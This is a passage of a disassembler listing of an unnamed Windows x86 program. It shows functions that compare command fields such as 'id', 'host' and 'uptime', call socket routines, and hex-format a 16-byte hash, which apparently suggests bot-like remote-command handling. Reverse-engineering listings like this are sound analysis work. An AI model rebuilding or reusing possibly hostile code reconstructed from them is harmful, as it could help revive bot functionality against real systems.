200Ch mov eax, 2000h call sub_436840 mov ecx, [esp+arg_2004] lea eax, [esp+arg_2008] push eax push ecx lea edx, [esp+8] push 2000h push edx nop call near ptr 77C3FF8Ah mov ecx, [esp+10h+arg_2000] add esp, 10h lea eax, [esp+0] push eax call sub_401582 add esp, 2000h retn sub_412900 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_412970 proc near ; CODE XREF: sub_401118j var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_412970 push eax mov al, [esp+0Ch+arg_0] mov large fs:0, esp sub esp, 30h test al, al push esi mov esi, ecx jz short loc_4129A7 xor al, al pop esi mov ecx, [esp+3Ch+var_C] mov large fs:0, ecx add esp, 3Ch retn 10h ; --------------------------------------------------------------------------- loc_4129A7: ; CODE XREF: sub_412970+21j lea ecx, [esp+40h+var_3C] call sub_401424 mov al, [esp+40h+arg_4] mov [esp+40h+var_4], 0 test al, al jz short loc_4129C8 mov eax, dword_447100 push eax jmp short loc_4129CF ; --------------------------------------------------------------------------- loc_4129C8: ; CODE XREF: sub_412970+4Ej mov ecx, dword_447108 push ecx loc_4129CF: ; CODE XREF: sub_412970+56j lea ecx, [esp+44h+var_3C] call sub_4015D7 push ebx lea ecx, [esp+44h+var_24] call sub_401424 mov edx, [esp+44h+arg_8] mov eax, [esp+44h+arg_C] push edx push eax lea ecx, [esp+4Ch+var_3C] mov byte ptr [esp+4Ch+var_4], 1 call sub_4017E4 push eax lea ecx, [esp+50h+var_24] push offset dword_443CEC push ecx call sub_40102D add esp, 14h lea ecx, [esp+44h+var_24] call sub_4014D3 push eax mov ecx, esi call sub_401582 lea ecx, [esp+44h+var_24] mov bl, al mov byte ptr [esp+44h+var_4], 0 call sub_401226 lea ecx, [esp+44h+var_3C] mov [esp+44h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+44h+var_C] mov al, bl pop ebx pop esi mov large fs:0, ecx add esp, 3Ch retn 10h sub_412970 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_412AA0 proc near ; CODE XREF: sub_401848j arg_2000 = dword ptr 2004h arg_2004 = dword ptr 2008h arg_2008 = dword ptr 200Ch arg_200C = dword ptr 2010h arg_2010 = dword ptr 2014h arg_2014 = byte ptr 2018h mov eax, 2000h call sub_436840 mov ecx, [esp+arg_2010] lea eax, [esp+arg_2014] push eax push ecx lea edx, [esp+8] push 2000h push edx call near ptr 77C3FF8Ah nop mov eax, [esp+10h+arg_200C] mov edx, [esp+10h+arg_2008] add esp, 10h lea ecx, [esp+0] push eax mov eax, [esp+4+arg_2004] push ecx mov ecx, [esp+8+arg_2000] push edx push eax call sub_401118 add esp, 2000h retn sub_412AA0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 3 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_412B20 proc near ; CODE XREF: sub_401D0Cj push esi mov esi, ecx call sub_401FB9 mov eax, [esi+1Ch] inc eax mov [esi+1Ch], eax pop esi retn sub_412B20 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_412B50 proc near ; CODE XREF: sub_401FB9j push esi mov esi, ecx xor al, al mov [esi+16h], al mov [esi+15h], al mov eax, [esi+18h] push eax nop call near ptr 71AB9639h mov ecx, offset word_448C9E mov dword ptr [esi+18h], 0FFFFFFFFh call sub_401537 pop esi retn sub_412B50 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_412B90 proc near ; CODE XREF: sub_401721j arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov dl, [ecx] xor ecx, ecx mov [eax], dl mov [eax+4], ecx mov [eax+8], ecx mov [eax+0Ch], ecx retn 4 sub_412B90 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_412BC0 proc near ; CODE XREF: sub_401B54j push esi mov esi, ecx mov eax, [esi+8] mov ecx, [esi+4] push eax push ecx mov ecx, esi call sub_40170D mov eax, [esi+4] mov edx, [esi+0Ch] sub edx, eax mov ecx, esi sar edx, 2 push edx push eax call sub_401294 sub_412BC0 endp ; --------------------------------------------------------------------------- xor eax, eax mov [esi+4], eax mov [esi+8], eax mov [esi+0Ch], eax pop esi retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_412C10 proc near ; CODE XREF: sub_401F00j var_24 = byte ptr -24h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_412C10 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push esi push 0 push 6 push 9 push 4Fh push 3 push 9 push 7 push 0Fh lea eax, [esp+48h+var_24] push 0Ch mov esi, ecx push eax call sub_4019B5 add esp, 28h push esi mov ecx, eax mov [esp+2Ch+var_4], 0 call sub_4017E4 add esi, 4 push eax push esi mov ecx, offset dword_447158 call sub_401591 sub_412C10 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+24h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+1Ch] pop esi mov large fs:0, ecx add esp, 24h retn ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_412CB0: ; CODE XREF: ___:loc_40100Aj mov eax, large fs:0 push 0FFFFFFFFh push offset loc_43994E push eax mov large fs:0, esp sub esp, 90h add ecx, 4 push ebp push esi mov esi, [esp+0A8h] lea ebp, [esi+7Eh] call sub_4017E4 push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_412FD6 push ebx push edi push offset asc_443600 ; " " lea eax, [esp+44h] push 1 push eax mov ecx, esi call sub_4016AE push offset asc_443600 ; " " lea ecx, [esp+2Ch] push 2 push ecx mov ecx, esi mov dword ptr [esp+0B4h], 0 call sub_4016AE push offset asc_443600 ; " " lea edx, [esp+14h] push 3 push edx mov ecx, esi mov byte ptr [esp+0B4h], 1 call sub_4016AE push offset asc_443600 ; " " lea eax, [esp+74h] push 0 push eax mov ecx, esi mov byte ptr [esp+0B4h], 2 call sub_4016AE mov edi, eax lea ecx, [esp+10h] mov byte ptr [esp+0A8h], 3 call sub_4013D9 lea ecx, [esp+28h] mov ebx, eax call sub_4013D9 lea ecx, [esp+40h] add ebx, eax call sub_4013D9 mov ecx, edi add ebx, eax call sub_4013D9 lea ecx, [esp+70h] lea edi, [ebx+eax+4] mov byte ptr [esp+0A8h], 2 call sub_401226 lea ecx, [esp+58h] push edi push ecx mov ecx, esi call sub_401E2E push offset asc_443600 ; " " lea edx, [esp+8Ch] push 4 push edx mov ecx, esi mov byte ptr [esp+0B4h], 4 call sub_4016AE lea ecx, [esp+70h] push 1 mov bl, 5 push ecx mov ecx, eax mov [esp+0B0h], bl call sub_401E2E push eax mov ecx, ebp mov byte ptr [esp+0ACh], 6 call sub_40200E lea ecx, [esp+70h] mov [esp+0A8h], bl call sub_401226 mov byte ptr [esp+0A8h], 4 lea ecx, [esp+88h] call sub_401226 lea edx, [esp+58h] mov ecx, esi push edx call sub_40200E push offset asc_443D40 ; "!=" lea ecx, [esp+2Ch] call sub_4012EE test eax, eax jnz short loc_412E35 xor edi, edi loc_412E35: ; CODE XREF: ___:00412E31j push offset asc_443D3C ; "==" lea ecx, [esp+2Ch] call sub_4012EE test eax, eax jnz short loc_412E4C mov edi, 1 loc_412E4C: ; CODE XREF: ___:00412E45j push offset asc_443D38 ; ">" lea ecx, [esp+2Ch] call sub_4012EE test eax, eax jnz short loc_412E63 mov edi, 2 loc_412E63: ; CODE XREF: ___:00412E5Cj push offset asc_443D34 ; "<" lea ecx, [esp+2Ch] call sub_4012EE test eax, eax jnz short loc_412E7A mov edi, 3 loc_412E7A: ; CODE XREF: ___:00412E73j push offset aId ; "id" lea ecx, [esp+44h] call sub_4012EE test eax, eax jnz short loc_412ED4 test edi, edi jnz short loc_412EAA lea ecx, [esp+10h] call sub_4017E4 push eax mov ecx, offset word_44759A call sub_4012EE test eax, eax jz short loc_412ED4 jmp short loc_412EC7 ; --------------------------------------------------------------------------- loc_412EAA: ; CODE XREF: ___:00412E8Ej cmp edi, 1 jnz short loc_412ED4 lea ecx, [esp+10h] call sub_4017E4 push eax mov ecx, offset word_44759A call sub_4012EE test eax, eax jnz short loc_412ED4 loc_412EC7: ; CODE XREF: ___:00412EA8j push 0 push esi mov ecx, offset byte_4472B7 call sub_401A32 loc_412ED4: ; CODE XREF: ___:00412E8Aj ; ___:00412EA6j ... push offset aHost ; "host" lea ecx, [esp+44h] call sub_4012EE test eax, eax jnz short loc_412F27 test edi, edi jnz short loc_412F08 lea ecx, [esp+10h] call sub_4017E4 push eax mov ecx, offset byte_4D60DD call sub_4013E3 test eax, eax jnz loc_412F89 jmp short loc_412F7C ; --------------------------------------------------------------------------- loc_412F08: ; CODE XREF: ___:00412EE8j cmp edi, 1 jnz short loc_412F89 lea ecx, [esp+10h] call sub_4017E4 push eax mov ecx, offset byte_4D60DD call sub_4013E3 test eax, eax jz short loc_412F89 jmp short loc_412F7C ; --------------------------------------------------------------------------- loc_412F27: ; CODE XREF: ___:00412EE4j push offset aUptime ; "uptime" lea ecx, [esp+44h] call sub_4012EE test eax, eax jnz short loc_412F89 lea ecx, [esp+10h] call sub_4017E4 push eax nop call near ptr 77C1BF18h add esp, 4 mov ebx, eax call sub_401654 test edi, edi jnz short loc_412F5D cmp eax, ebx jz short loc_412F89 jmp short loc_412F7C ; --------------------------------------------------------------------------- loc_412F5D: ; CODE XREF: ___:00412F55j cmp edi, 1 jnz short loc_412F68 cmp eax, ebx jnz short loc_412F89 jmp short loc_412F7C ; --------------------------------------------------------------------------- loc_412F68: ; CODE XREF: ___:00412F60j cmp edi, 2 jnz short loc_412F73 cmp eax, ebx jle short loc_412F89 jmp short loc_412F7C ; --------------------------------------------------------------------------- loc_412F73: ; CODE XREF: ___:00412F6Bj cmp edi, 3 jnz short loc_412F89 cmp eax, ebx jge short loc_412F89 loc_412F7C: ; CODE XREF: ___:00412F06j ; ___:00412F25j ... push 0 push esi mov ecx, offset byte_4472B7 call sub_401A32 loc_412F89: ; CODE XREF: ___:00412F00j ; ___:00412F0Bj ... lea ecx, [esp+58h] mov byte ptr [esp+0A8h], 2 call sub_401226 lea ecx, [esp+10h] mov byte ptr [esp+0A8h], 1 call sub_401226 lea ecx, [esp+28h] mov byte ptr [esp+0A8h], 0 call sub_401226 lea ecx, [esp+40h] mov dword ptr [esp+0A8h], 0FFFFFFFFh call sub_401226 pop edi mov al, 1 pop ebx jmp short loc_412FD8 ; --------------------------------------------------------------------------- loc_412FD6: ; CODE XREF: ___:00412CE9j mov al, 1 loc_412FD8: ; CODE XREF: ___:00412FD4j mov ecx, [esp+98h] pop esi pop ebp mov large fs:0, ecx add esp, 9Ch retn 4 ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 0E0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4130E0 proc near ; CODE XREF: sub_401654j nop call near ptr 27E08A6h mov ecx, eax mov eax, 10624DD3h mul ecx mov ecx, edx mov eax, 0C22E4507h shr ecx, 6 imul ecx mov eax, edx add eax, ecx sar eax, 10h mov edx, eax shr edx, 1Fh add eax, edx retn sub_4130E0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_413120 proc near ; CODE XREF: sub_401FFAj var_12 = byte ptr -12h var_11 = byte ptr -11h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_413120 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push ebx push esi mov esi, ecx push edi mov [esp+20h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401749 lea ecx, [esi+32h] mov [esp+20h+var_4], 0 call sub_401749 lea edi, [esi+60h] lea eax, [esp+20h+var_12] push eax mov ecx, edi mov byte ptr [esp+24h+var_4], 1 call sub_401F05 sub_413120 endp ; --------------------------------------------------------------------------- lea ecx, [esp+0Fh] lea ebx, [esi+6Ch] push ecx mov ecx, ebx mov byte ptr [esp+20h], 2 call sub_401843 ; --------------------------------------------------------------------------- mov ecx, edi mov byte ptr [esp+1Ch], 3 mov dword ptr [esi], offset off_43E044 call sub_401924 mov ecx, ebx call sub_401C62 mov ecx, [esp+14h] mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx add esp, 14h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4131F0 proc near ; CODE XREF: sub_401CF8j ___:00401E10j push esi mov esi, ecx call sub_401C8F sub_4131F0 endp ; --------------------------------------------------------------------------- test byte ptr [esp+8], 1 jz short loc_413208 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_413208: ; CODE XREF: ___:004131FDj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_413220 proc near ; CODE XREF: sub_401C8Fj var_10 = dword ptr -10h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_413220 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ebx push esi mov esi, ecx push edi mov [esp+1Ch+var_10], esi mov dword ptr [esi], offset off_43E044 lea edi, [esi+60h] mov [esp+1Ch+var_4], 3 mov ecx, edi call sub_401924 lea ebx, [esi+6Ch] mov ecx, ebx call sub_401C62 mov ecx, ebx mov byte ptr [esp+1Ch+var_4], 2 call sub_4014B5 sub_413220 endp ; --------------------------------------------------------------------------- mov ecx, edi mov byte ptr [esp+18h], 1 call sub_4011B8 ; --------------------------------------------------------------------------- lea ecx, [esi+32h] mov byte ptr [esp+18h], 0 call sub_401023 lea ecx, [esi+4] mov dword ptr [esp+18h], 0FFFFFFFFh call sub_401023 mov ecx, [esp+10h] pop edi pop esi pop ebx mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4132E0 proc near ; CODE XREF: sub_4019F6j var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4132E0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push 0 push 14h push 15h push 0Fh push 7 push 0Fh lea eax, [esp+58h+var_3C] push 0Ch mov esi, ecx push eax call sub_4019B5 add esp, 20h push esi mov ecx, eax mov [esp+44h+var_4], 0 call sub_4017E4 lea ecx, [esi+32h] push eax push ecx mov ecx, offset dword_447158 call sub_401591 sub_4132E0 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 push 0 push 14h push 5 lea edx, [esp+28h] push 13h push edx call sub_4019B5 add esp, 14h push esi mov ecx, eax mov dword ptr [esp+40h], 1 call sub_4017E4 add esi, 4 push eax push esi mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+1Ch] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 mov ecx, [esp+34h] pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 5 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4133D0 proc near ; CODE XREF: sub_401CD0j var_14 = dword ptr -14h var_10 = byte ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 4 push 0FFFFFFFFh push offset SEH_4133D0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi mov esi, ecx lea ecx, [esp+18h+arg_0] mov [esp+18h+var_4], 0 call sub_4017E4 test eax, eax jz short loc_413477 lea ecx, [esp+18h+var_14] call sub_402252 add esi, 6Ch lea eax, [esp+18h+var_10] push eax mov ecx, esi call sub_4018F2 mov ecx, [eax] lea edx, [esp+18h+var_10] mov [esp+18h+var_14], ecx push edx mov ecx, esi call sub_40114A push eax lea ecx, [esp+1Ch+var_14] call sub_401339 test al, al jz short loc_413477 loc_413438: ; CODE XREF: sub_4133D0+A5j lea eax, [esp+18h+arg_0] lea ecx, [esp+18h+var_14] push eax call sub_40135C mov ecx, [eax] add ecx, 19h call sub_401B72 test eax, eax lea ecx, [esp+18h+var_14] jz short loc_41349C call sub_40118B lea ecx, [esp+18h+var_10] push ecx mov ecx, esi call sub_40114A push eax lea ecx, [esp+1Ch+var_14] call sub_401339 test al, al jnz short loc_413438 loc_413477: ; CODE XREF: sub_4133D0+2Ej ; sub_4133D0+66j lea ecx, [esp+18h+arg_0] mov [esp+18h+var_4], 0FFFFFFFFh call sub_401226 xor eax, eax pop esi mov ecx, [esp+14h+var_C] mov large fs:0, ecx add esp, 14h retn 18h ; --------------------------------------------------------------------------- loc_41349C: ; CODE XREF: sub_4133D0+86j call sub_40135C mov esi, [eax] lea ecx, [esp+18h+arg_0] mov [esp+18h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+18h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 14h retn 18h sub_4133D0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_413510 proc near ; CODE XREF: sub_402112j var_18 = dword ptr -18h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 4 push 0FFFFFFFFh push offset SEH_413510 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push ebp push esi push edi mov ebx, ecx lea ecx, [esp+28h+arg_0] mov [esp+28h+var_4], 0 call sub_4017E4 test eax, eax jz loc_4135E3 lea ecx, [esp+28h+var_18] call sub_401037 lea ebp, [ebx+60h] lea eax, [esp+28h+var_14] push eax mov ecx, ebp call sub_401983 mov ecx, [eax] lea edx, [esp+28h+var_14] mov [esp+28h+var_18], ecx push edx mov ecx, ebp call sub_402234 push eax lea ecx, [esp+2Ch+var_18] call sub_401AD7 test al, al jz short loc_4135E3 loc_41357F: ; CODE XREF: sub_413510+D1j lea ecx, [esp+28h+var_18] call sub_4011D1 mov edi, [eax] sub esp, 18h lea eax, [esp+40h+arg_0] mov ecx, esp mov [esp+40h+var_10], esp push eax call sub_4014C9 mov ecx, ebx call sub_401CD0 mov esi, eax test esi, esi jz short loc_4135AC mov edi, [esi] loc_4135AC: ; CODE XREF: sub_413510+98j lea ecx, [esp+28h+arg_0] push ecx mov ecx, edi call sub_401B72 test eax, eax jz short loc_41360B test esi, esi jnz short loc_41360B lea ecx, [esp+28h+var_18] call sub_4018B6 lea edx, [esp+28h+var_14] mov ecx, ebp push edx call sub_402234 push eax lea ecx, [esp+2Ch+var_18] call sub_401AD7 test al, al jnz short loc_41357F loc_4135E3: ; CODE XREF: sub_413510+31j ; sub_413510+6Dj lea ecx, [esp+28h+arg_0] mov [esp+28h+var_4], 0FFFFFFFFh call sub_401226 xor eax, eax loc_4135F6: ; CODE XREF: sub_413510+10Ej mov ecx, [esp+28h+var_C] pop edi pop esi pop ebp mov large fs:0, ecx pop ebx add esp, 18h retn 18h ; --------------------------------------------------------------------------- loc_41360B: ; CODE XREF: sub_413510+AAj ; sub_413510+AEj lea ecx, [esp+28h+arg_0] mov [esp+28h+var_4], 0FFFFFFFFh call sub_401226 mov eax, edi jmp short loc_4135F6 sub_413510 endp ; --------------------------------------------------------------------------- db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_413670 proc near ; CODE XREF: sub_401F46j var_14 = dword ptr -14h var_10 = byte ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 4 arg_18 = byte ptr 1Ch push 0FFFFFFFFh push offset SEH_413670 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 lea ecx, [esp+14h+arg_0] mov [esp+14h+var_4], 1 call sub_4017E4 test eax, eax jz short loc_413714 lea ecx, [esp+14h+var_14] call sub_401E1F lea eax, [esp+14h+var_10] lea ecx, [esp+14h+arg_18] push eax call sub_4012E9 mov ecx, [eax] lea edx, [esp+14h+var_10] mov [esp+14h+var_14], ecx push edx lea ecx, [esp+18h+arg_18] call sub_401D89 push eax lea ecx, [esp+18h+var_14] call sub_401D5C test al, al jz short loc_413714 loc_4136D6: ; CODE XREF: sub_413670+A2j lea eax, [esp+14h+arg_0] lea ecx, [esp+14h+var_14] push eax call sub_401FA5 mov ecx, [eax] call sub_401B72 test eax, eax jz short loc_413746 lea ecx, [esp+14h+var_14] call sub_4020A4 lea ecx, [esp+14h+var_10] push ecx lea ecx, [esp+18h+arg_18] call sub_401D89 push eax lea ecx, [esp+18h+var_14] call sub_401D5C test al, al jnz short loc_4136D6 loc_413714: ; CODE XREF: sub_413670+2Bj ; sub_413670+64j lea ecx, [esp+14h+arg_0] mov byte ptr [esp+14h+var_4], 0 call sub_401226 lea ecx, [esp+14h+arg_18] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401578 ; --------------------------------------------------------------------------- xor eax, eax mov ecx, [esp+14h+var_C] mov large fs:0, ecx add esp, 14h retn 24h ; --------------------------------------------------------------------------- loc_413746: ; CODE XREF: sub_413670+7Dj push esi lea ecx, [esp+18h+var_14] call sub_401FA5 mov esi, [eax] lea ecx, [esp+18h+arg_0] mov byte ptr [esp+18h+var_4], 0 call sub_401226 lea ecx, [esp+18h+arg_18] mov [esp+18h+var_4], 0FFFFFFFFh call sub_401578 sub_413670 endp ; --------------------------------------------------------------------------- mov ecx, [esp+0Ch] mov eax, esi pop esi mov large fs:0, ecx add esp, 14h retn 24h ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4137E0 proc near ; CODE XREF: sub_4011DBj var_A4 = byte ptr -0A4h var_8C = byte ptr -8Ch var_74 = byte ptr -74h var_64 = byte ptr -64h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 4 arg_18 = dword ptr 1Ch push 0FFFFFFFFh push offset SEH_4137E0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 98h push esi xor esi, esi lea ecx, [esp+0A8h+arg_0] mov [esp+0A8h+var_4], esi call sub_4017E4 test eax, eax jz loc_413913 lea eax, [esp+0A8h+var_64] push eax call sub_401A55 add esp, 4 lea ecx, [esp+0A8h+var_A4] call sub_401424 push offset byte_446F70 lea ecx, [esp+0ACh+var_A4] mov byte ptr [esp+0ACh+var_4], 1 call sub_4015D7 lea ecx, [esp+0A8h+arg_0] call sub_4013D9 push eax lea ecx, [esp+0ACh+arg_0] call sub_4014D3 lea ecx, [esp+0ACh+var_64] push eax push ecx call sub_401C12 lea edx, [esp+0B4h+var_64] lea eax, [esp+0B4h+var_74] push edx push eax call sub_402158 add esp, 14h loc_41387B: ; CODE XREF: sub_4137E0+E8j lea ecx, [esp+0A8h+var_8C] call sub_401424 xor ecx, ecx lea edx, [esp+0A8h+var_8C] mov cl, [esp+esi+0A8h+var_74] mov byte ptr [esp+0A8h+var_4], 2 push ecx push offset a2_2x ; "%2.2X" push edx call sub_40102D add esp, 0Ch lea eax, [esp+0A8h+var_8C] lea ecx, [esp+0A8h+var_A4] push eax call sub_4016BD lea ecx, [esp+0A8h+var_8C] mov byte ptr [esp+0A8h+var_4], 1 call sub_401226 inc esi cmp esi, 10h jl short loc_41387B mov edx, [esp+0A8h+arg_18] lea ecx, [esp+0A8h+var_A4] push ecx lea ecx, [edx+15h] call sub_401B72 test eax, eax mov byte ptr [esp+0A8h+var_4], 0 lea ecx, [esp+0A8h+var_A4] jnz short loc_41390E call sub_401226 lea ecx, [esp+0A8h+arg_0] mov [esp+0A8h+var_4], 0FFFFFFFFh call sub_401226 mov al, 1 jmp short loc_41392C ; --------------------------------------------------------------------------- loc_41390E: ; CODE XREF: sub_4137E0+10Cj call sub_401226 loc_413913: ; CODE XREF: sub_4137E0+33j lea ecx, [esp+0A8h+arg_0] mov [esp+0A8h+var_4], 0FFFFFFFFh call sub_401226 xor al, al loc_41392C: ; CODE XREF: sub_4137E0+12Cj mov ecx, [esp+0A8h+var_C] pop esi mov large fs:0, ecx add esp, 0A4h retn 1Ch sub_4137E0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4139B0 proc near ; CODE XREF: sub_40191Fj var_34 = dword ptr -34h var_2C = dword ptr -2Ch var_24 = byte ptr -24h var_14 = dword ptr -14h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = byte ptr 4 arg_18 = byte ptr 1Ch push 0FFFFFFFFh push offset SEH_4139B0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi mov esi, ecx sub esp, 18h lea eax, [esp+30h+arg_18] mov ecx, esp mov [esp+30h+var_14], esp push eax mov [esp+34h+var_4], 1 call sub_4014C9 mov ecx, esi call sub_402112 test eax, eax jz short loc_413A5E sub esp, 0Ch add eax, 54h mov ecx, esp mov [esp+24h+var_14], esp push eax call sub_40171C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+40h] mov ecx, esp mov [esp+40h+var_14], esp push edx mov [esp+44h+var_8], 2 call sub_4014C9 mov ecx, esi mov [esp+40h+var_8], 1 call sub_401F46 ; --------------------------------------------------------------------------- test eax, eax jz short loc_413A5E lea ecx, [esp+40h+var_24] mov byte ptr [esp+40h+var_2C], 0 call sub_401226 lea ecx, [esp+40h+var_C] mov [esp+40h+var_2C], 0FFFFFFFFh call sub_401226 mov al, 1 mov ecx, [esp+40h+var_34] mov large fs:0, ecx pop esi add esp, 14h retn 30h ; --------------------------------------------------------------------------- loc_413A5E: ; CODE XREF: sub_4139B0+3Fj ; sub_4139B0+79j lea ecx, [esp+18h+arg_0] mov byte ptr [esp+18h+var_4], 0 call sub_401226 lea ecx, [esp+18h+arg_18] mov [esp+18h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+18h+var_C] xor al, al mov large fs:0, ecx pop esi add esp, 14h retn 30h sub_4139B0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_413AE0: ; CODE XREF: ___:00401393j push 0FFFFFFFFh push offset loc_439B08 mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov eax, [esp+18h] push esi mov esi, ecx sub esp, 18h mov ecx, esp mov [esp+1Ch], esp push eax call sub_401861 mov edx, [esp+30h] sub esp, 18h mov ecx, esp mov [esp+4Ch], esp push edx mov dword ptr [esp+44h], 0 call sub_401861 mov ecx, esi mov dword ptr [esp+40h], 0FFFFFFFFh call sub_40191F mov ecx, [esp+8] pop esi mov large fs:0, ecx add esp, 10h retn 8 ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_413B70 proc near ; CODE XREF: sub_401181j var_3C = byte ptr -3Ch var_20 = byte ptr -20h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 4 arg_4 = byte ptr 8 arg_18 = dword ptr 1Ch arg_1C = dword ptr 20h push 0FFFFFFFFh push offset SEH_413B70 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 34h push ebx push ebp mov ebp, [esp+48h+arg_18] xor ebx, ebx cmp ebp, ebx mov [esp+48h+var_4], ebx jz loc_413CB9 lea ecx, [esp+48h+arg_0] call sub_4017E4 test eax, eax jz loc_413CB9 push esi push edi push offset asc_443C94 ; ":" lea eax, [esp+54h+var_3C] push ebx push eax lea ecx, [esp+5Ch+arg_0] xor esi, esi call sub_4016AE push offset byte_446F70 mov ecx, eax mov byte ptr [esp+54h+var_4], 1 call sub_4012EE lea ecx, [esp+50h+var_3C] mov edi, eax mov byte ptr [esp+50h+var_4], bl call sub_401226 cmp edi, ebx jz loc_413C93 add ebp, 54h loc_413BF0: ; CODE XREF: sub_413B70+11Dj push 15h call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov dword ptr [esp+4Ch+var_3C], eax cmp eax, ebx mov byte ptr [esp+4Ch], 2 jz short loc_413C10 mov ecx, eax call sub_401F2D jmp short loc_413C12 ; --------------------------------------------------------------------------- loc_413C10: ; CODE XREF: sub_413B70+95j xor eax, eax loc_413C12: ; CODE XREF: sub_413B70+9Ej push offset asc_443C94 ; ":" lea ecx, [esp+50h+var_20] push esi push ecx lea ecx, [esp+58h+arg_4] mov [esp+58h], bl mov [esp+58h+arg_1C], eax call sub_4016AE mov ecx, [esp+4Ch+arg_1C] push eax mov byte ptr [esp+50h], 3 call sub_40200E lea ecx, [esp+4Ch+var_20] mov [esp+4Ch], bl call sub_401226 lea edx, [esp+4Ch+arg_1C] mov ecx, ebp push edx call sub_40147E ; --------------------------------------------------------------------------- inc esi push offset asc_443C94 ; ":" lea eax, [esp+54h+var_3C] push esi push eax lea ecx, [esp+5Ch+arg_0] call sub_4016AE push offset byte_446F70 mov ecx, eax mov byte ptr [esp+54h+var_4], 1 call sub_4012EE lea ecx, [esp+50h+var_3C] mov edi, eax mov byte ptr 